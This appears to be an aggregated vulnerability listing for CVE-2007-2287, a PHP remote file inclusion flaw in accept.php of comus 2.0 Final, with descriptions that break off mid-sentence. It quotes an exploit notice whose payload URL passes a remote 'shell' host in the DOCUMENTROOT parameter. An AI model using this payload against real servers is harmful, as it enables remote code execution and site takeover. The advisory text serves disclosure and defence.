comus 2.0 Final >> RFI

++++++ name & version : comus 2.0 Final download :hotscripts.com by : www.hackerz.ir userz,s3rv3rhack3r,saeidonlylinux,farzad exploit: http://victim/accept.php?DOCUMENTROOT=http://shell ++++++...

CVE-2007-2287

PHP remote file inclusion vulnerability in accept.php in comus 2.0 Final allows remote attackers to execute arbitrary PHP code via a URL in the DOCUMENTROOT parameter...

CVE-2007-2287

CVE-2007-2287 is a PHP remote file inclusion vulnerability affecting the application: comus 2.0 Final. The issue occurs in accept.php where untrusted input in the DOCUMENT_ROOT parameter can lead to remote code execution. The documented impact is arbitrary PHP code execution by an attacker supply...